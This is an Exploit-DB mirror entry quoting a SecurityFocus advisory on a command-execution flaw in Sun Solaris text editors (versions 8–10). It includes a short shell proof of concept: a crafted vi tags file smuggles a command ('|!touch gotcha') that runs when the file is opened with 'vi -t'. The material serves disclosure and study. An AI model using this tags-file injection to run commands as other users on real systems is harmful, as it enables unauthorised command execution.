exploit-db-mirror/platforms/solaris/remote/32393.txt
Offensive Security 81eda5a35c Updated 03_22_2014
2014-03-22 04:31:38 +00:00

17 lines
474 B
Text
Executable file

source: http://www.securityfocus.com/bid/31229/info
Sun Solaris text editors are prone to a command-execution vulnerability.
An attacker may leverage this issue to execute arbitrary commands with the privileges of another user on the affected computer.
Sun Solaris 8, 9, and 10 are affected.
$ echo "This is line 1" > file1
$ echo "file1line1<TAB>file1<TAB>:1|!touch gotcha" > tags
$ ls
file1 tags
$ vi -t file1line1
:q!
$ ls
file1 gotcha tags
$